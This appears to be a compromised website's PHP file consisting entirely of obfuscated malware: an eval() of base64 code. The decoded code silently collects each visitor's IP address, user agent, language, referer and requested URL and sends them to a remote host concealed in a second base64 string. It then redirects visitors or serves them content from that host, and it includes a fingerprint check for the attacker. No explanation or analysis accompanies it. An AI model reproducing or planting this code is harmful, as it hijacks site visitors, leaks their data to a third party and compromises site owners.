<?php 
eval("?>".base64_decode("PD9waHAgIA0KDQplcnJvcl9yZXBvcnRpbmcoMCk7DQpmdW5jdGlvbiBwYXJzZV9oZWFkZXJzKCRyZXNwX2hlYWRlcikNCnsNCiAgICAkaGVhZGVyID0gYXJyYXkoJ3N0YXR1cycgPT4gMCwgJ2NvbnRlbnQnID0+ICcnLCAndHlwZScgPT4gJycpOw0KICAgIGlmICghaXNfYXJyYXkoJHJlc3BfaGVhZGVyKSkgew0KICAgICAgICByZXR1cm4gJGhlYWRlcjsNCiAgICB9DQogICAgZm9yZWFjaCAoJHJlc3BfaGVhZGVyIGFzICRob25lKSB7DQogICAgICAgIGlmIChwcmVnX21hdGNoKCcvaHR0cFwvWzAtOVwuXStbXHNdKyhbMC05XSspL2knLCAkaG9uZSwgJG1hdGNoZWQpKSB7DQogICAgICAgICAgICAkaGVhZGVyWydzdGF0dXMnXSA9IGludHZhbCgkbWF0Y2hlZFsxXSk7DQogICAgICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCcvbG9jYXRpb25cOltcc10rKC4qKS9pJywgJGhvbmUsICRtYXRjaGVkKSkgew0KICAgICAgICAgICAgJGhlYWRlclsnY29udGVudCddID0gJG1hdGNoZWRbMV07DQogICAgICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCcvY29udGVudFwtdHlwZVw6W1xzXSsoLiopL2knLCAkaG9uZSwgJG1hdGNoZWQpKSB7DQogICAgICAgICAgICAkaGVhZGVyWyd0eXBlJ10gPSAkbWF0Y2hlZFsxXTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gJGhlYWRlcjsNCn0NCg0KZnVuY3Rpb24gaHR0cF9nZXQoJHVybCwgJGRhdGFzID0gYXJyYXkoKSkNCnsNCiAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3RhdHVzJyA9PiAwLCAnY29udGVudCcgPT4gJycsICd0eXBlJyA9PiAnJyk7DQogICAgaWYgKGlzX2FycmF5KCRkYXRhcykgJiYgY291bnQoJGRhdGFzKSkgew0KICAgICAgICAkdXJsIC49ICc/JyAuIGh0dHBfYnVpbGRfcXVlcnkoJGRhdGFzKTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsNCiAgICAgICAgICAgICRjID0gY3VybF9pbml0KCk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkYywgQ1VSTE9QVF9VUkwsICR1cmwpOw0KICAgICAgICAgICAgY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOw0KICAgICAgICAgICAgY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOw0KICAgICAgICAgICAgY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDIwKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjLCBDVVJMT1BUX1RJTUVPVVQsIDYwKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIDApOw0KICAgICAgICAgICAgY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KICAgICAgICAgICAgJGNfcmV0dmFsID0gY3VybF9leGVjKCRjKTsNCiAgICAgICAgICAgICRyZXNwb25zZVsnc3RhdHVzJ10gPSBpbnR2YWwoY3VybF9nZXRpbmZvKCRjLCBDVVJMSU5GT19IVFRQX0NPREUpKTsNCiAgICAgICAgICAgICRyZXNwb25zZVsndHlwZSddID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkYywgQ1VSTElORk9fQ09OVEVOVF9UWVBFKSk7DQogICAgICAgICAgICAkcmVzcG9uc2VbJ2NvbnRlbnQnXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJGMsIENVUkxJTkZPX1JFRElSRUNUX1VSTCkpOw0KICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGMpOw0KICAgICAgICAgICAgaWYgKGluX2FycmF5KCRyZXNwb25zZVsnc3RhdHVzJ10sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7DQogICAgICAgICAgICAgICAgJHJlc3BvbnNlWydjb250ZW50J10gPSBzdHJ2YWwoJGNfcmV0dmFsKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpKSB7DQogICAgICAgICAgICAkaHR0cF9vcHQgPSBhcnJheSgNCiAgICAgICAgICAgICAgICAnaHR0cCcgPT4gYXJyYXkoJ21ldGhvZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiA2MCwgJ2ZvbGxvd19sb2NhdGlvbicgPT4gMCksDQogICAgICAgICAgICAgICAgJ3NzbCcgPT4gYXJyYXkoInZlcmlmeV9wZWVyIiA9PiBmYWxzZSwgInZlcmlmeV9wZWVyX25hbWUiID0+IGZhbHNlKQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRodHRwX29wdCk7DQogICAgICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsLCBmYWxzZSwgJGNvbnRleHQpOw0KICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXlfbWVyZ2UoJHJlc3BvbnNlLCBwYXJzZV9oZWFkZXJzKCRodHRwX3Jlc3BvbnNlX2hlYWRlcikpOw0KICAgICAgICAgICAgaWYgKGluX2FycmF5KCRyZXNwb25zZVsnc3RhdHVzJ10sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7DQogICAgICAgICAgICAgICAgJHJlc3BvbnNlWydjb250ZW50J10gPSBzdHJ2YWwoJGNvbnRlbnQpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7DQogICAgfQ0KICAgIHJldHVybiAkcmVzcG9uc2U7DQp9DQoNCmZ1bmN0aW9uIGJhc2U2NHVybF9lbmNvZGUoJHN0cikNCnsNCiAgICByZXR1cm4gcnRyaW0oc3RydHIoYmFzZTY0X2VuY29kZSgkc3RyKSwgJysvJywgJy1fJyksICc9Jyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9pcGFkZHIoKQ0Kew0KICAgICRpcF9hZGRyID0gJyc7DQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnXSkgJiYgIWVtcHR5KCRfU0VSVkVSWydIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnXSkpIHsNCiAgICAgICAgJGlwX2FkZHIgPSAkX1NFUlZFUlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ107DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfUkVBTF9JUCddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ0hUVFBfWF9SRUFMX0lQJ10pKSB7DQogICAgICAgICRpcF9hZGRyID0gJF9TRVJWRVJbJ0hUVFBfWF9SRUFMX0lQJ107DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pKSB7DQogICAgICAgICRpcF9hZGRyID0gJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ107DQogICAgfSBlbHNlIHsNCiAgICAgICAgJGlwX2FkZHIgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCiAgICB9DQogICAgJGlwX2FkZHIgPSB0cmltKHN0cl9yZXBsYWNlKCIgIiwgIiIsICRpcF9hZGRyKSwgIiwiKTsNCiAgICBpZiAoc3RycG9zKCRpcF9hZGRyLCAiLCIpICE9PSBmYWxzZSkgew0KICAgICAgICAkaXBfYWRkciA9IGV4cGxvZGUoIiwiLCAkaXBfYWRkcik7DQogICAgICAgICRpcF9hZGRyID0gJGlwX2FkZHJbMF07DQogICAgfQ0KICAgIHJldHVybiAkaXBfYWRkcjsNCn0NCg0KZnVuY3Rpb24gZ2V0X3Byb3RvKCkNCnsNCiAgICAkaHR0cF9wcm90byA9ICdodHRwOi8vJzsNCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pICE9PSAnb2ZmJykgew0KICAgICAgICAkaHR0cF9wcm90byA9ICdodHRwczovLyc7DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10pICYmICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10gPT09ICdodHRwcycpIHsNCiAgICAgICAgJGh0dHBfcHJvdG8gPSAnaHR0cHM6Ly8nOw0KICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9GUk9OVF9FTkRfSFRUUFMnXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9GUk9OVF9FTkRfSFRUUFMnXSkgIT09ICdvZmYnKSB7DQogICAgICAgICRodHRwX3Byb3RvID0gJ2h0dHBzOi8vJzsNCiAgICB9DQogICAgcmV0dXJuICRodHRwX3Byb3RvOw0KfQ0KDQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gPT09ICcvUi0nIC4gbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkpIHsNCiAgICBleGl0KHN0cnJldihtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSkpOw0KfQ0KaWYgKHN1YnN0cl9jb3VudCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgJ2luZGV4LnBocC9qaycpKSB7DQogICAgZXhpdCgneyAiZXJyb3IiOiAyMDAsICJsYyI6ICJqayIsICJkYXRhIjogWyAxIF0gfScpOw0KfQ0KJHJfdHJpbSA9IHByZWdfcmVwbGFjZSgnL1w/LiovJywgJycsICRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsNCiRlbnJxID0gdHJ1ZTsNCiRleHQgPSAnJzsNCmlmIChzdHJwb3MoJHJfdHJpbSwgJy4nKSA+IDApIHsNCiAgICAkZXh0ID0gc3Vic3RyKCRyX3RyaW0sIHN0cnJwb3MoJHJfdHJpbSwgJy4nKSk7DQogICAgaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCcuanMnLCAnLmNzcycsICcuanBnJywgJy5qcGVnJywgJy5wbmcnLCAnLmdpZicsICcuaWNvJywgJy5zdmcnLCAnLndlYnAnLCAnLmJtcCcsICcud29mZicsICcud29mZjInLCAnLnR0ZicsICcub3RmJykpKSB7DQogICAgICAgICRlbnJxID0gZmFsc2U7DQogICAgfQ0KfQ0KJHJlZmVyZXIgPSBzdHJ2YWwoQCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk7DQokc2l0ZV91cmwgPSBnZXRfcHJvdG8oKSAuICRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCmlmIChzdHJwb3MoJHJlZmVyZXIsICRzaXRlX3VybCkgPT09IDApICRyZWZlcmVyID0gJyc7DQppZiAoJGVucnEpIHsNCiAgICAkcnEgPSBhcnJheSgpOw0KICAgICRycVsnaSddID0gYmFzZTY0dXJsX2VuY29kZShnZXRfaXBhZGRyKCkpOw0KICAgICRycVsnbCddID0gYmFzZTY0dXJsX2VuY29kZSgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSk7DQogICAgJHJxWydzbiddID0gYmFzZTY0dXJsX2VuY29kZSgkX1NFUlZFUlsnU0NSSVBUX05BTUUnXSk7DQogICAgJHJxWydyJ10gPSBiYXNlNjR1cmxfZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsNCiAgICAkcnFbJ3JmJ10gPSBiYXNlNjR1cmxfZW5jb2RlKCRyZWZlcmVyKTsNCiAgICAkcnFbJ3MnXSA9IGJhc2U2NHVybF9lbmNvZGUoJHNpdGVfdXJsKTsNCiAgICAkcnFbJ3UnXSA9IGJhc2U2NHVybF9lbmNvZGUoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsNCiAgICAkcmVzcG9uc2UgPSBodHRwX2dldChiYXNlNjRfZGVjb2RlKCJhSFIwY0RvdkwyaDNZak14TW5Zd09DNXpaV0owYVdNdWJHbDJaUzgiKSwgJHJxKTsNCiAgICBpZiAoIWluX2FycmF5KCRyZXNwb25zZVsnc3RhdHVzJ10sIGFycmF5KDAsIDIwMCkpKSB7DQogICAgICAgIHN3aXRjaCAoJHJlc3BvbnNlWydzdGF0dXMnXSkgew0KICAgICAgICAgICAgY2FzZSAzMDE6DQogICAgICAgICAgICAgICAgaGVhZGVyKCdIVFRQLzEuMSAzMDEgTW92ZWQgUGVybWFuZW50bHknKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gdHJpbSgkcmVzcG9uc2VbJ2NvbnRlbnQnXSkpOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAzMDI6DQogICAgICAgICAgICAgICAgaGVhZGVyKCdIVFRQLzEuMSAzMDIgTW92ZSBUZW1wb3JhcmlseScpOw0KICAgICAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcgLiB0cmltKCRyZXNwb25zZVsnY29udGVudCddKSk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlIDQwNDoNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0hUVFAvMS4xIDQwNCBOb3QgRm91bmQnKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoInN0YXR1czogNDA0IE5vdCBGb3VuZCIpOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoc3RybGVuKCRyZXNwb25zZVsnY29udGVudCddKSkgew0KICAgICAgICBAaGVhZGVyKCdDb250ZW50LVR5cGU6JyAuICRyZXNwb25zZVsndHlwZSddKTsNCiAgICAgICAgZXhpdCgkcmVzcG9uc2VbJ2NvbnRlbnQnXSk7DQogICAgfQ0KfQ0KDQo/Pg")); 
?>